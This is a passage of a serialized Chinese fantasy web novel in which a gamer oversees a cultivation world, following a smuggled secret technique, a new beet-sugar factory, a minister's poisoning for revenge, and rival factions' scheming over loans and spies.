等到李归一前来时,却发现这景旭宫《青梧引》并未大范围传播开来,再结合景旭宫最近的隐秘动作,以及景旭宫宫主以往的做事性格来看,他认为此人绝对会引入此功法最大的可能便是这功法只是小范围流传开来,并非作为宫内每人都学的存在。 想到这点,李归一不得不感慨景旭宫在资源把控这一方面实在是过于专横。 至于像他们永道宫,基本上就是只要到了标准,人人都能学,而非像是他们这样还需要看身份,看背景,看亲疏,看利益。 修道修心,这样唯利是图,心如何能静下来? 当然,现在不是批判对方的时候,他得赶快将这消息发给师祖才是。 等到用联络符将这一噩耗告知师祖后,仇师祖不免嘴角微微僵硬。 ——大意了。 原先看那景旭宫得到功法时,他们还以为对方会将此功法传播开来,但现在看来,他还是高估了对方的人品,低估了对方的无耻程度。 这功法自然是越多人修炼越好,这样才能起到一个制约的作用,不然等他日和景旭宫斗起来的话,他们永道宫人数可是远远比不上对方,到时候恐怕会吃亏。 但若是强行将这功法传播开来,反而会打草惊蛇。 一时间,仇师祖难免陷入纠结两难的境地。 一番思索,又用占卜掐算一番,这才凝视占卜给出的信息,久久出神。 掐算给出的信息是让他去求助更高的存在 更高的存在?恐怕只能去向那位求助了。 思来想去,仇师祖还是将此事汇报给了仙师,毕竟此事兹大,日后牵扯到的东西实在是太多。 而与此同时,姜定的游戏界面突然弹出来一则提醒。 【永道宫仇师祖向您求助,您是否选择帮助他?】 【A.帮助(点击此处查看具体情况,做出选择,支线选项一经确定,不可重新选择。)】 【B.帮助(太麻烦,直接氪金解决问题。需花费2000两。)】 【C.拒绝(穷苦,且字太多不看。)】 事实上,姜定还没来得及看清楚选项内容,就因为想调整一下游戏界面,而手滑点错了。 他只看了个大概。 这剧情既然弹出来了,那肯定是要帮助啊! 一个花钱,一个不花钱,抠门如他,他是绝对不会给任何一个没什么大用的NPC花钱的!绝不! 有用的资源只允许被用到最优秀、最值得培养的金卡和优秀紫卡人物上,至于这什么道士首领,不好意思,他目前还真没看到有什么大用。 无非就是画符,可以雇佣作为保镖一类的存在,但是雇佣价格实在是令他心寒无比。 ——什么符这么贵?这不都差不多么?总之基于目前情况,他还是觉得被俘虏的景旭宫外门弟子就是最有性价比的黑工!!! 仇师祖不知道自己在姜定这里已经被拓上了“没什么卵用”的初印象,若是他知晓了这会必然要哭诉一番。 ——冤枉啊!仙师!这两玩意不一样啊,他这符咒可都是高级符咒,外面别人求着他他都不画,毕竟不仅仅是画符时间长,且对精力颇为损耗。 但若是仙师想用,他又何尝不想白给仙师?只是高级符咒需要的材料异常昂贵难寻,永道宫实在是没有这个能力担负 而此刻,姜定误触的手一僵。 等会,什么玩意刚才闪过去了? 他还没来得及细看啊! 尤其在看到游戏提醒后更是心梗无比。 【检测到您已选择B选项,氪金就是力量!已经为您选择最优秀的解决方案。】 【2000两已扣除。】 姜定瞪大眼睛,看着这串冰冷的文字,内心槽多无口。 这会欲言又止,止言又欲,最终只能安慰自己钱能解决的事都不叫事。 毕竟他还少选择几个选项呢! 当然,谁心态崩了谁不说。 而此刻,仇师祖终于等到了那位的回应。 许久不曾联络过仙师,脑内对于仙师的记忆却丝毫不曾衰减,当那熟悉的清冷音色传来时,仇师祖感觉脑袋一瞬间和过电了一样,酥酥麻麻的,仿若进入极乐世界。 酥麻过后便是极致的清明,这会用词更加谨慎细微,只求仙师解惑。 “明日酉时一刻,在密林的废弃洞穴将《青梧引》放入即可。” 仙师的回复很是简约,他甚至还没等仔细回味,脑内那熟悉的声音已然消失不见。 明日酉时一刻? 仇师祖在心中默念着仙师给出的时间,而后将此消息立即告知李归一。 而此刻的李归一则在听清楚仙师的指示后微微疑惑,不甚理解。 以他的能力,他是完全想不到这一步到底有何用。 但想到仙师的手段岂是他一小小道士能参透的,这会虽说不理解,但依旧乖乖按照吩咐去做。 而当今日亲眼所见这一幕后,李归一不由地愣在原地,等到将这一切都串联起来后,一种毛骨悚然的感觉瞬间爬遍全身。 ——竟是如此!这便是只有仙师才能看到的全貌。 这《青梧引》无法广泛传播,仙师竟能运用推演之术算到这号人物出现。 等刚才那人走后,李归一自己也投掷六爻算了一卦,此卦是大吉,代表他所担心一事会彻底按照他心中所想发展而去,且最后结果定是好的 话说,这便是他和仙师的差距么?他只能推衍吉凶,最多就是大概看看日期,但仙师竟能做到这么细致的将时间,地点,人物全都计算在内,这等推衍简直令他心驰神往。 羡慕死个人啊!他也想这么厉害啊!不知道仙师到底收不收徒! 但转念又一想,仙师日理万机,哪有时间亲自教导他推衍一事,想来也是他白日做梦。 这会叹息着前往幽州。 话说回到那何胜。 此人在顺利拿到祖母旁支的傀儡术后,还有些疑惑。 本来他是打算威逼利诱,但谁能想到这些手段还不曾使出来,便被对方很是主动递过来的傀儡术沉默在原地。 这会心下狂喜,却暗感心慌 这么轻易就给了,是不是有坑啊! 等到翻开这傀儡术,他先被其中首页的解释震撼在原地。 大意便是,此术法足以制作出来和活人无异的傀儡,这在过往被视为是仅次于天等仙法的存在。 初看何胜还略觉窃喜,再一翻开,细细看了那所需材料后,顿时脸色难看。 他就说对方为何这般轻易便将这傀儡术交了出来,原是因为这术法制作傀儡需要的东西实在是珍稀。 除了核心运转材料外,其余组成部分也是贵得肉疼。 别的能拿钱买的先不说,这核心材料千年乌木他该如何拿到? 话说,这玩意是真实存在的? 边怀疑人生,何胜边赶路。 这会正是发愁之际,马匹却被一窜出来的野兔惊扰,他想东西想得出神,倒是没反应过来便被甩了出去,这会一头栽倒在地上。 浑身酸麻,尤其是脸更是疼得厉害。 何胜骂骂咧咧起身,却在看到眼前因为他跌倒而被撞出来的一块木头而呆愣在原地。 ——等等,这他立即伸手去拿,等到感受到浑然天成的阴气后,顿时心中狂喜。 真走运,这感觉,绝对是千年乌木! 没想到啊,他正在发愁这乌木去哪找,倒是它主动送上门来了! 一时间,何胜喜不自胜,难免得意。 这便是老天爷都在帮他了! 若他不好好把握这机会,绝对是暴殄天物! 这会驾马狂奔,等到到了市场后,这才开始隐秘购买其余制作材料。 等到成功将此傀儡制作出来时,何胜原先积攒下来的身家早就消耗一空。 这会他双眼通红,一心只有立刻将《青梧引》售出的急切。 ——他现在是真被逼到绝境了,此刻傀儡已制成,也意味着他总算能开始计划了! 接下来的几天,何胜利用他过往的人际,很巧妙的将第一份《青梧引》卖了一个好价格。 仅仅是第一份的收入,就足以将他先前花费的制作傀儡的本钱全部收回! 即便是他,也未曾想过此事推进竟然会这般顺利。 一时间气血上头,在欲望和盲目自认为是气运之子的冲动情绪推动下,何胜彻底放开了。 不过值得一提的是,此人虽说人品可谓是劣迹斑斑,但在游说一方面简直是强得可怕。 利用傀儡,他已经卖出去三十来份秘法,获得的银两,秘宝简直远超他预期。 这些东西以往可都是他需要花费许多精力才能拿到,但此刻,它们就这样静静地摆在他面前,各个透露出令人窒息的光芒。 何胜喜得脸色通红,同时远距离控制傀儡继续进行交易售卖。 ——他有何怕的,毕竟他人距离这么远,就算真被发现了,那也是傀儡遭殃! 且他自认为自己行事算得上小心了! 这景旭宫内门弟子,谁有钱,谁好忽悠,谁难搞,他心中都有数,这售卖起来自然是如鱼得水。 仅仅三天时间,这《青梧引》便以一个极为恐怖的速度迅速售卖出去,人数从原来的十来人到现在的几百人,简直是爆炸式的增长。 等到拿到钱后,何胜先将钱宝存在一秘密之地,而后看这些人已经开始沉迷于修炼。 其实这对他来说是很危险的存在,毕竟修炼的人越多,越容易被宫主发现,但又如何? 他本就是搅浑水来的! 等到这群人修炼《青梧引》已有一月后,景旭宫宫主总算是察觉到了不对劲。 第213章 暗示注意 至于为何会在一月后被发现,其实还是因何胜售出速度太快,一时间修炼人数过多。 人数一多,总会有人和先前被景旭宫宫主所选中的内门弟子交际圈重叠。 一来二去,很快,先前花费大价钱才修得《青梧引》的内门弟子便察觉到了不对劲。 起初,他们只是以为是功法在哪个环节泄露了出去,没太多想,但这情况必须上报给宫主,不然他实在是心里不得劲。 ——凭什么,他花费如此多代价,这才堪堪能有学习仙法的资格,这些人什么都没做,又为何能和他修一样的功法? 不过想到宫主的手段,他又淡定了许多。 哼,小毛贼不知道从哪里来的功法,现在嘴巴严实没关系,等到宫主亲自查时,多严的嘴都能给撬开。 思来想去,倒是勉强让自己恢复淡定。 等将人提上去,景旭宫大能们便紧急开会,同时灌药后询问此人是如何得到这功法的。 本以为是这人运气好,也是从永道宫落单道士手中得来的,但没想到,对方却说这功法是他花钱买来的。 等听清楚买到此功法所需要的门槛后,一时间几人面面相觑 无甚见识,此人居然卖这么便宜! 这会又从这话中隐约察觉到一个更大的问题。 坏了,这售卖此功法的人显然不是只卖了一人,看来已经是卖了许多份了! 想到这点,原先还算淡定的几人顿时面露恼怒。 “哪来的小贼,待我查到他必要将他碎尸万段,方能解我心头之恨!” 可不咋地——这人完全打破了他们精心构建的计划,一来是让花钱购买修炼资格的内门弟子不满,毕竟他们花费不可谓不高! 二来是惹得其余有背景,但没被选中的内门弟子不满——凭什么对他们藏着掖着! 一时半会,倒是各个脸色难看 该死的,留下这些烂摊子。 内心恼火,但此事不能不管。 几人立即下去深入调查,至少想摸清楚到底有多少人已经开始偷偷修炼开来新术法,结果不查不知道,一查吓一跳。 整个景旭宫内门弟子,竟然已有八成的人已经开始修炼! 事情既已到了这个境界,几人面面相觑,而后宫主咬牙切齿。 “先把先前收的资源退回去一半,不然他们要心里不平衡了。” 其余几位长老点头算是同意,其中有人不解。 “宫主,这推演之法无法算出是哪个小兔崽子在售卖功法?今日既敢挑拨离间宫内,日后便敢做出更过分的事,我等必须要好好排查处置此事才是!” 景旭宫宫主难得头疼,这会蹙眉。 “此人颇为奇怪,虽说用推衍之术能看到几幕当日场景,但却无法追踪此人,也无法预测此人任何生命线,但若是傀儡,却也太真实了一些。” 一时间,几人陷入沉默。 “先从宫内慢慢排查吧,通过他售卖对象来查,抽丝剥茧总会追踪到此人最初售卖的人身上,到时候分析一番,我们便能知晓此人的社交圈子为何,从而便能更迅速的定位此人。哼,等到时候,老夫定要让他好看!” “先不说日后如何,先处理一下眼前的烂摊子吧。刚才已经有一批内门弟子私底下对我们藏私的行为表示不满了,毕竟他们联合起来也是一股不容小觑的力量,我等还需要尽快安抚才是。” “不说这些凝聚的内门弟子,先前花大价钱购买学习功法资格的人也隐约不满了,我们必须要编造出一套合理的谎话唬过他们才行。” “什么谎话?说他们学的是完整版的?”此人声音略带嘲讽。 立即又有人补充。 “思路正确,只需要塞进去一些真正存在的东西就更真实了。比如只有他们经我们教导学到的功法才是最系统的,别看其他人修炼得效果暂时不错,但日后久而久之,弊端便会显露,不如我等教导出来的完美。 当然,等到半年一年后,我等随便从中作梗一番,让他们相信我们的话便是。” 显然这手段不是第一次做了,几人面色不变,都同意了这方法。 景旭宫宫主将此事交给他们去处理,自己则是考虑去处理因不满凝聚在一起的世家弟子,一时间,几人忙碌不已,查找售卖功法一事暂且进展缓慢。 而何胜则是注意到了宫内近期的变化,他现在可不敢打草惊蛇,更加小心,生怕对方发现了他身上的不对劲,好在几位大能因为宫内分歧和平衡世家正日日忙碌,倒是暂且还没察觉他便是那罪魁祸首。 他得谨慎行事,等到找到一个合适的机会后死遁才是 虽说宫内几位大能处理此事未曾结束,但像是《青梧引》这般的仙法,只要一经修炼,便无人能够拒绝,这会不管宫内到底有什么变故,大部分已经买到此功法的人还在勤恳修炼此法,一日都不愿意停歇。 毕竟这引气入体后带来的舒爽感可比原先干巴巴的修炼爽了不知多少倍! 因景旭宫内部较为忙碌,这个月的祈福节这活计都交给了宫内其余弟子去忙碌。 而黎州元城,倒是有不少人开始考虑前往道宫祈福,而在这中,最为出名的自然是皇家御用道宫,景旭宫了。 毕竟是一年笼钱的重要的日子,虽说忙着平内,但景旭宫依旧分派出不少人弟子去维持祈福节秩序。 话说元城目前对昭华灯和马桶的需求依旧高。 毕竟越是接近夏日,马桶所带来的好处就更是明显——没有异味,干净,舒适。 而昭华灯则是因为其独一份的照明范围广,依旧被排在最受欢迎,也是最难得的榜单之首。 现在元城讲究的人家,吃饭要吃最讲究的、高价购入的细盐,穿着最近新出亮丽绸缎料子,用着马桶,夜里还要点着昭华灯喊人聚会小酌,品茶。 若是这几项时髦都能追上,那便属于是在元城混得是独一份的。 毕竟这些新奇玩意,各个都不便宜。 这股攀比之风一旦起来,这些人哪怕是自己不用,也要在来客人时装点门面,好让别人能看得上自家。 而这次杜百前来,倒是带来了新的稀罕玩意。 就连一向自诩看过不少新奇之物的谈天禄都难免瞪大眼睛,呆愣愣地看着眼前这碟雪白如雪的白糖发呆。 ——这竟然是白糖? 要知道他见过最好的糖便是黄白色的糖块,这已经算是品相高的了,毕竟民间多数吃糖还在吃不成型的糖浆。 只是这白糖到底是如何能这般洁白如雪? 谈天禄大为震撼,自然是没能从杜百口中套出这制糖的细节,这会虽说心中不悦,但想到和杜百的合作,倒是难免劝自己想开点。 等到一口气将白糖全部购入后,这才开始琢磨日后的售卖之道。 虽说糖稀不太值钱,但这白糖可不一样! 这成型的,品相堪称极品的白糖,这可是实打实的稀罕物! 话说这白糖制作一事,杜百也是颇为惊诧。 大炎朝只懂得用甘蔗去制糖,因甘蔗必须生在温暖地区才能生长,所以相对来说,还是黎州和少部分明州境内适合种植。 当初提起糖厂设立时,杜百觉得没什么必要。 毕竟原材料无法解决,又该如何继续后续生产? 但没想到的是,仙师赐给了一种名为“甜菜”的作物,此作物不同于甘蔗只生长于较为温暖的区域,此甜菜更耐寒,完全可以大批量种植在明州大部分区域,甚至幽州都可种植。 她也是后续才了解到的,其余各个县域均匀种植上了甜菜,至于制糖厂的第一批原材料便是仙师从那潜灵山上的仙田内得来。 但若说起甜菜如何制糖,她也的确不懂,毕竟只有在糖厂上工的人才能大概知晓其是如何操作的。 话说回来,这制糖厂一经开设,便在风仙县产生了轰动。 “制糖?咱们这里种不了甘蔗啊!” “你这就不懂了,先前仙师已经分派出去一名为甜菜的作物,此物也可用于制糖。” “甜菜?不曾听过。” “想那么多干嘛,这制糖厂别说你不想去,若是日后成了这制糖厂的员工,想来员工福利便是白糖?” 众人热情高涨,不由猜测连连,毕竟先前人在哪个厂子,便能拿到哪个厂子的福利。 一时间,制糖厂热度极速升高。 等到终于挑选出幸运儿后,制糖厂便开工了。 而与此同时,方知意则在厂子内查看经由木匠所按照图片制定出来的压榨设备。 ——双辊木榨机。 将预处理切块的甜菜放入双辊之间,靠人力摇动手柄带动双辊转动,碾压后用布袋包裹碎渣,再次二次榨取。 之后便是多层过滤,然后提纯脱色。 话说这提纯脱色这方面,方知意以前从未见识到此方法。 可用草木灰加上白土,按照十斤汁加一斤草木灰和白土,搅拌后静置即可得到色泽如雪的白糖。 第一次看到实物时,虽说有心理准备,但是依旧让她不免惊叹。 这成色是她从未见过的。 果然还得是仙师给的法子和种子好用! 想到先前仙师突然将制糖一事特意交给她,且让她尽快推行此事,她倒是微微惊讶。 片刻后便想明白仙师的深意。 ——想来是仙师觉得百姓生活水平逐渐上升,眼下正是适合更进一步提升百姓幸福感,这才提点她尽快制糖。 用仙师之法,制作出来的白糖不仅看着卖相好,最重要的是出糖率比原先多了一倍! 眼看制糖厂开始顺利运营,白糖生产陷入白热化阶段,而方知意却始终觉得心头不甚对劲 仙师果真只是在提醒她为了百姓生活而制糖? 直到一周后,她偶然在学堂内由专人抄录下来的书籍中有了重大发现。 ——原来白糖作用这般多,除了较为广泛的用法,偏僻的用法一是可用于处理轻微伤口,辅助伤口愈合,二是行军作战时,可携带白糖,体积小,能量高,可谓是行军必备之物,三的话,还可制作易于燃烧的炸弹,但根据其描述,此炸弹效果极为强悍,非必要情况下最好不用。 想到日后难以避免的战斗,方知意顿时悟了。 怪不得!原来仙师是在用这种曲折的方式表示关注啊! 事实上,完全是因为闲得无聊,随便点击制糖产业的姜定:??? 第214章 争夺 黎州,随着杜百进入黎州元城和那谈天禄继续进行交易时,其余时间,商队之人便都在城内入住。 这个时候最为悠闲无事。 眼看众人均在交谈吹牛,先前成功应聘上商队镖客的初六则是很快离开了客栈,前往廖尚书家附近打探消息。 先前自从他顺利拿到扫盲毕业证后,恰好运气不错,杜家商户有一人因家中有事,所以杜家商户倒是短暂的招收一短工。 于是,这工作便被他顺利截走了。 本以为这出远门是一趟颇为危险的工作,需要打起十二分精神,但一路上,初六最为默默无语的便是这群人的心大。 ——有警惕意识,但大部分时候他们看着都十分淡定,尤其是晚上睡得香得让他直蹙眉。 这如何行?若是碰上来犯的流寇该如何应对? 心想既然他暂时作为镖客,那自然应当将保护商队的活计记在心上才是。 等到他们刚走不远,还没出明州,便遇到了来犯的流寇。 领头的杜掌柜,其名为杜百,一个瘦小的年轻小郎君。 他倒是迅速飞奔至此人身旁,毕竟这杜百看着就瘦弱不堪,万一是刚出来历练的,总不能第一次出商就出意外吧? 这会他已然要拔刀,杜百扫了他一眼,慢慢开口。 “不用动手。你且看着就是。” 初六被这话说得疑惑 这为何意?流寇都打到了门前,这都不管??? 正是怀疑是不是自己听错时,有一流寇按耐不住,早已手持砍刀,直奔而来。 眼看这杜百毫无拔刀迹象,初六反应极快,迅速抽出长刀,只是刀刚贴到流寇脖颈,对方却被突然出现的火焰烧得惨叫出声。 “妈呀——这什么玩意,火?烫!” 对方哭爹喊娘地尖叫着,初六被这变故惊得呆愣在原地,其余冲上来的流寇几乎是瞬间便死的死,伤的伤,等到他反应过来时,这群流寇的尸体还在淌着新鲜的血。 先前那被火烧死的流寇则是早就化作灰烬,被风一吹,散得无影无踪。 他好不容易回神,想看看周围人的反应,却在看到其余人波澜无惊的面庞时心神震撼,这会脸庞微微扭曲,但好在是以往也是见过大世面的人,这会很快恢复正常,内心却不平静。???不是,合着只有他一个人紧张了? 怪不得这些人都颇为放松,本以为这路途艰险,或许中途会出意外,但谁能想到,这商队居然有这般神通? 但很奇怪,刚才他注意到这些人并未动手,但那些流寇的确是全死了,这如何做到的? 想到刚才那等诡异场景,初六倒是想到了原先他给廖尚书做事时,曾和一支景旭宫的道士们合作过。 当时那些道士们所使用的符咒术法,有的效果和刚才他看到得甚是接近。 但就算是符咒,也会有一个甩出符咒的动作,刚才他可是看得清楚,这些人并没有动过手 此等术法,倒是更像他先前在风仙县被俘虏后,被强加在身上的那禁锢术法。 后来他才了解到,那禁锢术法为仙师特意设计出来,用以控制俘虏。 当初那禁锢术便是他毫无知觉就被控制的存在,如今看来这杜家商行或许也和仙师有着千丝万缕的联系。 在继续行进时,初六倒是谨慎地发现,这商队中居然还有官兵的存在,只不过穿着和其余人无异的衣裳,乔装成普通护卫。 初六难免猜想连连。 ——又有仙师的仙法护体,还有官兵乔装打扮成普通人参与护送,看来这杜家商队不一般啊。 想来或许是给仙师做某种生意才是。 但这些事倒也和他无关,既安危不用他操心,这会初六倒是跟着大部队,坐在马背上赶路。 而车内的杜百则是扫过初六一眼,想到了方大人的话。 先前这名为初六之人说是想要应聘镖客时,她一开始是没打算应聘此人的,毕竟这生意需要知根知底的人,而非是随意半路谁都能加入。 但方大人来了消息,大意便是给此人一个位置。 虽说弄不清楚方大人真正的意图为何,但既然方大人觉得无碍,她只管执行便是。 这才有了后续让初六入队的事。 想到刚才此人所展露出的身法,杜百倒是在心底暗自惊叹——此人不可小觑,这身法别说吊打官兵,就算是和慎刑司的人比起来也是不遑多让。 当然,慎刑司的话,杜百因为工作缘故,遇到次数最多的便是其中的寻凉,寻宁。 但共同点是此二人都是话少靠谱的类型,冷脸时看着颇为不好惹。 那身法,不是她吹,以她的水平,自然是远远不够看的。 但刚才初六那一手,却让她幻视那二人。 可见此人身手了得。 运气还算中规中矩,除了一开始遇到的流寇外,其余时候,路途安稳,直到她人到了元城,完成了和谈天禄的交易,回到客栈后,这才发现此人不在客栈内。 等到第二日,她却见此人的房间内放着一封简单信件。 封面写着“杜掌柜亲启”。 拆开一看,先从里面滚落出不少铜板来。 “在下此番欲留居此地,需处些时日。至于这段时日应得的工钱,不敢受领,连带信内铜板,愿充当赔偿之费,还望诸位先行返程。” 杜百没去数这铜板为多少,索性将东西收拾好后,带着商队离开。 这情况其实方大人早就告知过她,说此人大概率会停留在黎州元城,等到了此地后,便随意他即可。 既一切都在方大人掌握之间,杜百自然淡定回城。 中途队伍里还有人询问初六去哪了,均被她敷衍过去。 而初六则是看着杜百拿着他留下来的信件,确定对方看到后,这才安心进行自己的复仇计划。 他早就将廖尚书府内打探清楚。 防护和原先毫无差别,看来廖尚书真以为他们死了。 若是只是要廖尚书的命,自然简单,但为何? 他为何要让他这般轻松死去? 他唯一活下去的心理支柱被对方害死,他也定要让对方血债血还! 在没看到他痛苦绝望前,他绝不会轻易杀死他。 冷笑一声,初六倒是先给廖尚书的饭菜内下了毒。 此毒还是他原先替廖尚书做事时所发现的,只需服毒三天,此毒便可隐蔽于体内,在大约半年后毒发身亡。 这便是他的后手,若是他不幸身亡,留得这后手在,不怕仇敌不死。 且此毒最为歹毒之处便在于中毒后,人体不会察觉到任何异样,只有在暴毙那日,才会体会到来自身体上的剧痛,据说,那种剧痛宛如凌迟刑罚,足以让人在痛苦中只求一死。 连续三日,眼看此毒已进入廖尚书体内后,他便蛰伏起来,开始调查最近廖尚书所操作之事。 奔波几日,倒还真被他查出端倪来。 最好查的消息便是原先嫁给祝府的廖小姐和那突然消失的祝时和离成功了。 这会廖小姐已经重新回到廖府,至于孩子的话,她本想带走,但却被祝家长辈们留下,不让她带走。 想到那祝家孩童,初六难免面色有趣。 ——变了性了。 按照廖小姐和廖尚书的性格,不应该会主动惹麻烦上身才是。 毕竟对于他们廖家来说,这突然消失的祝家二人实在是诡异,为了了解此事,就连派出去的精锐死士都死得干净。 这会自然要和祝家划分界限。 为何要抢孩子呢? 想来是考虑到了祝时。 毕竟祝时当年作为天才少年,在元城少年成名,不可谓不惊人,而两个孩子既都是祝时的孩子,万一就得了祝时的真传呢? 毕竟对于廖尚书这类人来说,养孩子事小,但有一个天才再度问世的话,这对于他们廖家绝对是一件大好事。 至于为何还没能将两个孩子带回廖府,主要原因便在祝家长辈身上。 要不怎么说不是一家人,不进一家门呢。 这祝家也打得是这主意,论的是祝家孩子必须要留在自家,由他们看管才是。 实际上为了什么,大家心知肚明。 当时廖小姐就不惯着对方,劈头盖脸将对方辱骂一番,倒是没能强行带走孩子,只得一个人回了廖府。 初六原先跟着廖尚书多年,对廖小姐颇为了解。 这廖小姐随了廖尚书,也是糊涂蛋一个,以往没嫁出去前,在府内端得是泼辣刁蛮,任性无比。 就连对待贴身侍女也是动不动打骂教训。 也就当初是为了嫁给元城人人都眼热的天才祝时,这才收敛了几分脾气,假扮成另一幅温婉秀丽的模样。 也是难为廖小姐,嫁过去数年,竟为了祝时,不曾展露过过往的真实脾气。 而现在祝时无故消失,她没了主心骨,回家向廖尚书求救,等到事情演变成无法控制的状况后,无奈和离,却被祝家告知带不走自己的孩子,这会火冒三丈,压抑了多年的暴脾气瞬间外露。 但此行为实在是冲动,反而让祝家找到了把柄,钻了空子,指责廖氏不够端庄,不配教养他们祝家孩子。 如今廖府正和祝府就着争抢孩子属权一事,闹得整个上层人尽皆知。 此事让廖尚书也是颇为头疼,但想到祝时当年如何小小年纪便成功搅动元城风云,他自然是不能放手。 毕竟在他看来,他女儿生的孩子,天生就该带回来养着! 再说了,小小祝家,原先不过是他看在祝时的面子上,这才对祝家扶持一二,结果现在可好,反倒让对方有机会站在自己头上拉屎,如何能忍? 第215章 返程 黎州元城因廖家和祝家的事闹得热闹。 初六则是蛰伏下来,等待更好的机会。 风仙县内。 先前被派出去的两位使者总算陆续离开了。 先走的人自然是代表黎州元城一派的杨舒。 事实上,他基本上没多等,三天后,这方县令便将他放走。 杨舒难免觉得自己命大,运气好,毕竟他这任务算得上是做得又快又好了。 起码风仙县愿意服从招安啊。 这会杨舒带着来时的随行,驾马直奔黎州传递消息。 而至于陈京行的使者甘林,则是被困得时间就要长得多了。 直到期限的最后一日,甘林才被人带离近期一直居住着的住所,等刺眼的阳光照射在他身上时,他一时半会竟觉得有些不太习惯。 其实甘林压根没想到这次出使会这般不顺利。 毕竟在他看来,小小风仙县,无论是大小还是实力,都轮不到他们在自家陈总司头上蹦跶,但谁能想到,对方完全不按照规矩出牌啊。 这会被人带出来时,难免忐忑。 路上他试图透过官兵的脸色来察觉一会可能要发生的事,但可惜,这里官兵面色平淡,压根看不出丝毫波动,情绪稳定到甚至让他怀疑这是不是假人了 好容易挨到堂内,这会抬头看去,方县令一副淡定自若的模样,他一时半会又有些摸不着对方的立场如何。 等恭恭敬敬跪下行礼后,不等他起来,他手心便被人放进去一封信。 方知意语气淡漠。 “把这封信交给你们陈总司吧。” 她只说了这句话,至于别的话一字未提。 甘林不敢继续问,这会叩头后拿着信件迅速跑路。 ——他哪能管那么多。既然这方县令给了他信件,无论回信内容如何,他都得回去将这信件交给陈总司才是。 毕竟他的任务是将陈总司的话带过去,再将她的话带回来,至于信封内写了啥,大概率和他无关,除非那方县令实在写得过分,陈总司恼火后连他一起收拾了。 但作为陈京行最为信赖的使者,甘林知道他最多也就挨个几板子而已,不至于因为风仙县拒绝了陈总司的招揽,总司一怒之下便要打杀了他。 原先和他一样入城,也同样被变相禁锢的其余人跟着他,此时驾马返回。 话说陈京行近日倒是时刻关注着风仙县。 虽说只能在城外观察,无法进入其内细细查看,但有总比没有强 等到甘林出去数日后,陈京行说不担心是假的。 两地距离算是近了,这耽误了这么久,定是那风仙县背后的人还在纠结犹豫。 但到底对方会拒绝还是同意,他倒是颇为好奇。 对于他来说,目前这情况自然是不适合争斗,哪怕风仙县不乐意和他站在一起,那也最好休战,不然等他不得不和风仙县争夺一二时,日后幽州,或者保皇派那群人闻到血腥味,自然会摇着尾巴上来围剿他。 等了有十天,陈京行总算看到自家使者回来了。 还是原装人马,倒是没死没伤。 甘林一下马,立即便将那封信高高举起,递给陈京行。 陈京行伸手夺过信件,一目十行的迅速翻看,直到看清楚其内所写,倒是忍不住笑出声。 ——有趣,这风仙县原来是在犹豫要不要和他统一战线,这才留了许久才做出回答。 想到对方信件中所写想借银两时,陈京行先是蹙眉,而后慢慢思索。 此人好谋划。 若是他不借,对方便顺台阶下——既然你都不借给我钱,我还和你站队?我自己玩去! 但若是他借钱给对方,如何能保证这钱日后还能要回来? 思索一二,他倒是将这难题念出来,对着甘林询问一二。 “甘林,你觉得如何?该不该相信他们这借贷一说?” 甘林这会被点名,倒是兴致冲冲。 毕竟他从原先起,便是陈京行的得力助手,也经常替他排忧解难,思忖片刻后开口:“大人,依在下看,这钱可以借。 但我们要分批次借出去,且等到第二笔时,便要让对方按照盟友的身份帮我等做一件事才能继续给。不知总司您觉得如何?” 陈京行觉得还算有道理。 毕竟前期一点点小投入便能试探出对方心思到底诚不诚,但却在先给多少时犯了难。 正在心中计算,面露沉默时,甘林慢悠悠开口:“总司,依在下看,这第一笔可以稍微多给点,以示我等诚心合作,且最重要的是,下一次风仙县便会下意识觉得下一笔会更多,毕竟人心都是贪婪的,我们若是利用好这贪婪心,不遑为一操控对方的办法。” 其实甘林此人早在多年前就德行有缺,此人想出的计谋和谋划大部分时候很是缺德,但不得不承认,此人确实还有有几分天赋的,不然陈京行不至于会在这里听他废话。 这会听着甘林讲述描绘,陈京行倒是觉得不失为一可用之法。 譬如,他可以先给一部分钱,但对方必须要答应替他完成某一件事才行,如果没完成,他完全可以轻松收回钱财,只有说他完成了,他才会继续给钱。 陈京行觉得这法子已经足够可控了,于是便收拾收拾,打算先把第一笔钱给对方打过去。 而与此同时,黎州保皇派也得到了杨舒带来的回信。 这会几人围聚在一起,倒是各个好奇的看着那放于桌上的信封。 等到拆开信封,先拿起信件看的人正是魏公公。 等到看完这封信,他脸色扭曲,说不出好看还是难看。 其余人:呦呵。这脸色不太好看啊,难道里面写了什么难以让人接受的事? 这会各个挤在一块,你推我,我推你,争抢着要看内容为何。 一开始,看到对方很是坚定的表明风仙县绝不会和陈贼合作后,并且表明朝廷才是正统后,几人倒是面露赞赏。 “此人倒是心性不错,比那陈贼好多了。” “起码他认可朝廷的努力,至少我等不用担心他会和陈京行那厮混在一起。” “确实如此,快看看此人后面还说什么了?” 一时间众人颇为好奇,等到看清楚其后所写需要匠人和银两稳固风仙县管理时,几人两眼一黑,顿时想收回自己刚才对此人的评价了。 ——太恶劣,虽说不至于像陈京行一样当逆贼,但这理直气壮的索要是什么鬼? 他们国库有多少钱能这么造啊,去年旱灾的影响到今年还在持续,百姓时不时还需要他们施粥救济,还给风仙县花钱,他们本来就已经够穷苦的了! 毕竟每次花钱都要寻求那户部同意,现如今又如何有闲钱给这风仙县? 这会几人面色无语,看着确实和先前第一个看完了回信的魏公公无异。 “依我看,既然风仙县此人愿意归顺朝廷,我等最好还是需要安抚一下对方,免得惹急眼了,将对方逼到陈贼那里,岂不是我等失误?” “说到底还不是没钱惹的祸,咱们国库现在有多少钱,你们又不是不知道啊。” “啧,换个角度,虽说咱们国库没什么钱了,但我们可以把重心放在另一条上嘛!” 其余几人看着他,便听此人继续开口解释。 “钱的话,我们可以少给点,但这匠人,给他划过去一批又何妨?反正现在元城有多少匠人没能有赚钱的活计了? 若我等好好谋划一番,倒是可以将此事包装成朝廷项目啊。” 几人顿时疑惑。 “此话怎讲?” 此人继续解释:“既现在元城本就压力颇大,根本消化不了这么多的匠人。既然风仙县想要,咱们给他便是。 比如我等可以张贴帖子,告知城内匠人,眼下那风仙县有活计可做,只要想去的便能报名,占据一个名额。 等报名结束后,我等最多再找官兵,将这些匠人护送到风仙县即可算完事。 且最重要的是,我等完全可以将奸细穿插进这匠人内,到时候内部有人替我们源源不断地回传消息,这日后风仙县的一举一动岂不是就在我等眼皮子底下?且只是给了一批无甚作用的匠人而已,这简直是血赚!” 其余几人越听,眼睛越来越亮。 “刘大人这思路很是绝妙啊!这么一来,我们确实是毫无损失,还能慢慢察觉到风仙县的真实面目!这法子可真是妙极了!” 